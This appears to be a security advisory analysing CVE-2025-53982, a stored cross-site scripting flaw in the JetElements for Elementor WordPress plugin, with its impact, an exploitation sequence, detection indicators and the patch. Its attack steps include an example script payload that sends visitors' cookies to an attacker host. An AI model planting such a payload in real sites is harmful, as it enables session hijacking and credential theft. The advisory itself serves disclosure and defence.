CVE-2025-53982: 
WordPress vulnerability analysis and mitigation

CVE-2025-53982 is a Stored Cross-Site Scripting (XSS) vulnerability in the Crocoblock JetElements For Elementor WordPress plugin. It affects all versions up to and including 2.7.7, and was reported by researcher "stealthcopter" on June 13, 2025, then publicly disclosed on July 16, 2025. The vulnerability carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack, Red Hat).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Stored XSS variant. An attacker with at least Contributor-level privileges on a WordPress site can inject malicious scripts into fields processed by the JetElements plugin, which are then persistently stored and executed in victims' browsers when they visit affected pages. Exploitation requires user interaction from a privileged user (e.g., an administrator visiting a crafted page), as indicated by the CVSS vector AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L (Patchstack).

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript or HTML payloads within the affected WordPress site, which execute in the browsers of visiting users, including administrators. This can lead to session hijacking, credential theft, unauthorized administrative actions, defacement, or redirection of site visitors to malicious content. The scope is marked as Changed (S:C), meaning the injected script can affect resources beyond the vulnerable component itself (Patchstack).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported as of the disclosure date. The EPSS score is approximately 0.031% (0.000310), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack notes that vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress sites at scale, regardless of site popularity (Patchstack).

1. Gain Contributor-level access: Register or compromise an account with at least Contributor or higher privileges on the target WordPress site running JetElements For Elementor ≤ 2.7.7.
2. Identify injectable field: Navigate to a page or post editor using Elementor and locate a JetElements widget that accepts user-supplied input without adequate sanitization.
3. Inject malicious payload: Insert a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable widget field and save/publish the content.
4. Payload persistence: The malicious script is stored in the WordPress database and rendered as part of the page output.
5. Trigger execution: When a privileged user (e.g., administrator) or site visitor loads the affected page, the injected script executes in their browser, enabling session hijacking, credential theft, or further malicious actions (Patchstack).

• Logs: WordPress access logs showing POST requests to page/post edit endpoints by low-privileged accounts (Contributor role) containing unusual script tags or encoded JavaScript in request bodies.
• Database: Unexpected <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded payloads stored in WordPress post content or widget metadata associated with JetElements widgets.
• Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages containing JetElements widgets, potentially indicating active payload execution.
• File System: No direct file system artifacts expected for stored XSS, but review WordPress database exports for injected content in wp_posts or wp_postmeta tables (Patchstack).

Update the JetElements For Elementor plugin to version 2.7.7.1 or later, which contains the fix for this vulnerability. If an immediate update is not possible, restrict Contributor-level user registrations and review existing Contributor accounts for suspicious activity. Patchstack users can enable auto-update for vulnerable plugins as an additional safeguard (Patchstack).

The vulnerability was covered in Wordfence's weekly WordPress vulnerability report for the week of July 14–20, 2025, and was included in a CISA vulnerability summary for the week of July 14, 2025, compiled by Red Packet Security. No significant independent researcher commentary or broader media coverage has been identified beyond standard vulnerability database listings (Wordfence, Red Packet Security).